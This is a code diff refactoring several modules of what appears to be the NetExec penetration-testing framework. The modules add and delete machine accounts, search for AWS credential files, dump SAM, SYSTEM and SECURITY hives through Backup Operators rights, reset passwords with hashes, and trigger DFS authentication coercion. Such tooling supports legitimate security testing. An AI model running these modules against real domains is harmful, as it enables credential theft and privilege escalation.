context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
|
||||
self.noLDAPRequired = True
|
||||
user_handle = None
|
||||
|
||||
# Removing the machine account in the DB
|
||||
user = self.context.db.get_user(self.__domain, self.__computerName)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
@@ -237,64 +216,54 @@ class NXCModule:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
dce.disconnect()
|
||||
|
||||
def do_ldaps_add(self, connection, context):
|
||||
"""
|
||||
Performs an LDAPS add operation.
|
||||
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
|
||||
|
||||
Args:
|
||||
----
|
||||
connection (Connection): The LDAP connection object.
|
||||
context (Context): The context object.
|
||||
def do_ldaps_add(self):
|
||||
"""Performs an LDAPS add operation."""
|
||||
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
None
|
||||
"""
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
f"HOST/{self.__computerName}",
|
||||
f"HOST/{self.__computerName}.{connection.domain}",
|
||||
f"RestrictedKrbHost/{self.__computerName}",
|
||||
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
|
||||
]
|
||||
ucd = {
|
||||
"dnsHostName": f"{self.__computerName}.{connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.__computerName,
|
||||
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
|
||||
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
|
||||
c.bind()
|
||||
|
||||
sAMAccountName = self.__computerName
|
||||
name = self.__computerName.rstrip("$")
|
||||
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
|
||||
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
|
||||
if result:
|
||||
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
|
||||
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
|
||||
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
|
||||
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
|
||||
else:
|
||||
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
|
||||
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
|
||||
else:
|
||||
spns = [
|
||||
f"HOST/{name}",
|
||||
f"HOST/{name}.{self.connection.domain}",
|
||||
f"RestrictedKrbHost/{name}",
|
||||
f"RestrictedKrbHost/{name}.{self.connection.domain}",
|
||||
]
|
||||
result = c.add(
|
||||
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
|
||||
f"cn={name},cn=Computers,{ldap_domain}",
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
ucd
|
||||
{
|
||||
"dnsHostName": f"{name}.{self.connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": sAMAccountName,
|
||||
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
|
||||
}
|
||||
)
|
||||
if result:
|
||||
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
|
||||
context.log.highlight("You can try to verify this with the nxc command:")
|
||||
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
|
||||
self.context.log.highlight("You can try to verify this with the nxc command:")
|
||||
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
|
||||
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
|
||||
elif not result:
|
||||
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Search for aws credentials files on linux and windows machines
|
||||
@@ -8,6 +11,7 @@ class NXCModule:
|
||||
name = "aws-credentials"
|
||||
description = "Search for aws credentials files."
|
||||
supported_protocols = ["ssh", "smb", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.search_path_linux = "'/home/' '/tmp/'"
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
import time
|
||||
import os
|
||||
import datetime
|
||||
import contextlib
|
||||
from time import sleep
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -28,7 +28,7 @@ class NXCModule:
|
||||
connection.args.share = "SYSVOL"
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
self.trigger_winreg(connection.conn, context)
|
||||
connection.trigger_winreg()
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
@@ -36,10 +36,11 @@ class NXCModule:
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
@@ -52,12 +53,14 @@ class NXCModule:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(str(e))
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
dce.disconnect()
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
|
||||
log_path = f"{connection.output_filename}."
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
|
||||
@@ -95,6 +98,7 @@ class NXCModule:
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
sleep(0.2)
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
@@ -114,24 +118,6 @@ class NXCModule:
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
|
||||
def trigger_winreg(self, connection, context):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = connection.connectTree("IPC$")
|
||||
try:
|
||||
connection.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
context.log.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
key_name.split("\\")[0]
|
||||
|
||||
+16
-21
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldaptypes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
|
||||
@@ -79,6 +80,7 @@ class NXCModule:
|
||||
name = "badsuccessor"
|
||||
description = "Check if vulnerable to bad successor attack (DMSA)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -92,10 +94,9 @@ class NXCModule:
|
||||
return True
|
||||
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
|
||||
|
||||
def get_domain_sid(self, ldap_session, base_dn):
|
||||
def get_domain_sid(self):
|
||||
"""Retrieve the domain SID from the domain object in LDAP"""
|
||||
r = ldap_session.search(
|
||||
searchBase=base_dn,
|
||||
r = self.connection.search(
|
||||
searchFilter="(objectClass=domain)",
|
||||
attributes=["objectSid"]
|
||||
)
|
||||
@@ -103,8 +104,8 @@ class NXCModule:
|
||||
if parsed and "objectSid" in parsed[0]:
|
||||
return parsed[0]["objectSid"]
|
||||
|
||||
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
|
||||
domain_sid = self.get_domain_sid(ldap_session, base_dn)
|
||||
def find_bad_successor_ous(self, entries):
|
||||
domain_sid = self.get_domain_sid()
|
||||
results = {}
|
||||
parsed = parse_result_attributes(entries)
|
||||
for entry in parsed:
|
||||
@@ -144,15 +145,13 @@ class NXCModule:
|
||||
results.setdefault(owner_sid, []).append(dn)
|
||||
return results
|
||||
|
||||
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
|
||||
def resolve_sid_to_name(self, sid):
|
||||
"""
|
||||
Resolves a SID to a samAccountName using LDAP
|
||||
|
||||
Args:
|
||||
----
|
||||
ldap_session: The LDAP connection
|
||||
sid: The SID to resolve
|
||||
base_dn: The base DN for the LDAP search
|
||||
|
||||
Returns:
|
||||
-------
|
||||
@@ -160,8 +159,7 @@ class NXCModule:
|
||||
"""
|
||||
try:
|
||||
search_filter = f"(objectSid={sid})"
|
||||
response = ldap_session.search(
|
||||
searchBase=base_dn,
|
||||
response = self.connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"]
|
||||
)
|
||||
@@ -174,9 +172,10 @@ class NXCModule:
|
||||
return sid
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.connection = connection
|
||||
|
||||
# Check for a domain controller with Windows Server 2025
|
||||
resp = connection.ldap_connection.search(
|
||||
searchBase=connection.ldap_connection._baseDN,
|
||||
resp = self.connection.search(
|
||||
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
|
||||
attributes=["operatingSystem", "dNSHostName"]
|
||||
)
|
||||
@@ -192,15 +191,15 @@ class NXCModule:
|
||||
|
||||
# Enumerate dMSA objects
|
||||
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
|
||||
resp = connection.ldap_connection.search(
|
||||
searchBase=connection.ldap_connection._baseDN,
|
||||
resp = self.connection.search(
|
||||
searchFilter="(objectClass=organizationalUnit)",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=controls) # Fixed parameter name
|
||||
searchControls=controls
|
||||
)
|
||||
|
||||
context.log.debug(f"Found {len(resp)} entries")
|
||||
|
||||
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
|
||||
results = self.find_bad_successor_ous(resp)
|
||||
|
||||
if results:
|
||||
context.log.success(f"Found {len(results)} results")
|
||||
@@ -208,11 +207,7 @@ class NXCModule:
|
||||
context.log.highlight("No account found")
|
||||
|
||||
for sid, ous in results.items():
|
||||
samaccountname = self.resolve_sid_to_name(
|
||||
connection.ldap_connection,
|
||||
sid,
|
||||
connection.ldap_connection._baseDN
|
||||
)
|
||||
samaccountname = self.resolve_sid_to_name(sid)
|
||||
|
||||
for ou in ous:
|
||||
if sid == samaccountname:
|
||||
|
||||
@@ -3,21 +3,23 @@ from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
@@ -43,7 +45,7 @@ class BitLockerSMB:
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
@@ -51,10 +53,10 @@ class BitLockerSMB:
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
@@ -85,7 +87,7 @@ class BitLockerWMI:
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
@@ -93,7 +95,7 @@ class BitLockerWMI:
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
@@ -113,7 +115,7 @@ class BitLockerWMI:
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module made by: @NeffIsBack, @gatariee"""
|
||||
name = "certipy-find"
|
||||
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
VULN Show only vulnerable configurations (Default: True)
|
||||
ENABLED Show only enabled templates
|
||||
|
||||
Export options:
|
||||
TEXT Export results to a plain text file
|
||||
CSV Export results to a CSV file
|
||||
JSON Export results to a JSON file
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
|
||||
if "VULN" in module_options:
|
||||
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
|
||||
if "ENABLED" in module_options:
|
||||
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
|
||||
|
||||
# Export options
|
||||
if "JSON" in module_options:
|
||||
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
|
||||
if "CSV" in module_options:
|
||||
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
|
||||
if "TEXT" in module_options:
|
||||
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dns_server = connection.args.dns_server
|
||||
if not dns_server:
|
||||
try:
|
||||
# If connection.host is an IP, use it as DNS
|
||||
socket.inet_aton(connection.host)
|
||||
dns_server = connection.host
|
||||
except Exception:
|
||||
# Otherwise let DnsResolver use system resolver (None)
|
||||
dns_server = None
|
||||
|
||||
resolv = DnsResolver.create(dns_server)
|
||||
|
||||
# prefer connection.hostname if present, otherwise connection.host
|
||||
remote = (connection.hostname or connection.host) or ""
|
||||
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
|
||||
|
||||
target = Target(
|
||||
resolver=resolv,
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=connection.remoteName,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
target_ip=connection.host,
|
||||
ldap_port=connection.port,
|
||||
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
|
||||
ldap_signing=connection.signing_required,
|
||||
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
|
||||
)
|
||||
|
||||
finder = Find(
|
||||
target=target,
|
||||
json=self.json,
|
||||
csv=self.csv,
|
||||
text=self.text,
|
||||
output_path=self.output_path,
|
||||
stdout=True,
|
||||
vulnerable=self.vuln,
|
||||
enabled=self.enabled,
|
||||
)
|
||||
|
||||
# Get templates and CAs
|
||||
templates = finder.get_certificate_templates()
|
||||
cas = finder.get_certificate_authorities()
|
||||
finder._link_cas_and_templates(cas, templates)
|
||||
|
||||
# Get OIDs
|
||||
oids = finder.get_issuance_policies()
|
||||
|
||||
# Process information
|
||||
finder._link_templates_and_policies(templates, oids)
|
||||
finder._process_ca_properties(cas)
|
||||
finder._process_template_properties(templates)
|
||||
|
||||
output = finder.get_output_for_text_and_json(templates, cas, oids)
|
||||
pretty_print(output, print_func=context.log.highlight)
|
||||
|
||||
# Save to disk if any export option specified
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
indent=2,
|
||||
default=str,
|
||||
)
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -1,6 +1,7 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "change-password"
|
||||
description = "Change or reset user passwords via various protocols"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -110,32 +112,40 @@ class NXCModule:
|
||||
try:
|
||||
# Perform the SMB SAMR password change
|
||||
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Password change failed: {e}")
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
try:
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
|
||||
user = self.context.db.get_user(target_domain, target_username)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
|
||||
# Store the new credentials in the database
|
||||
if new_nthash:
|
||||
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
|
||||
else:
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
|
||||
except Exception as e:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
finally:
|
||||
self.dce.disconnect()
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
else:
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
|
||||
def _hSamrOpenUser(self, connection, username):
|
||||
"""Get handle to the user object"""
|
||||
try:
|
||||
|
||||
+22
-28
@@ -1,16 +1,17 @@
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "coerce_plus"
|
||||
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -211,6 +212,15 @@ class NXCModule:
|
||||
context.log.error("Invalid method, please check the method name.")
|
||||
return
|
||||
|
||||
@staticmethod
|
||||
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
|
||||
|
||||
class ShadowCoerceTrigger:
|
||||
def __init__(self, context):
|
||||
@@ -387,8 +397,8 @@ class DFSCoerceTrigger:
|
||||
"""
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["Comment"] = "lodos\x00"
|
||||
request["Share"] = "x:\\lodos2005\x00"
|
||||
request["Comment"] = "test\x00"
|
||||
request["Share"] = "x:\\test\x00"
|
||||
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
@@ -409,7 +419,7 @@ class DFSCoerceTrigger:
|
||||
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
||||
request["pTargetPath"] = NULL
|
||||
request["MajorVersion"] = 0
|
||||
request["pComment"] = "lodos\x00"
|
||||
request["pComment"] = "test\x00"
|
||||
request["NewNamespace"] = 0
|
||||
request["Flags"] = 0
|
||||
dce.request(request)
|
||||
@@ -472,7 +482,7 @@ class DFSCoerceTrigger:
|
||||
request = NetrDfsAddStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["Comment"] = "lodos\x00"
|
||||
request["Comment"] = "test\x00"
|
||||
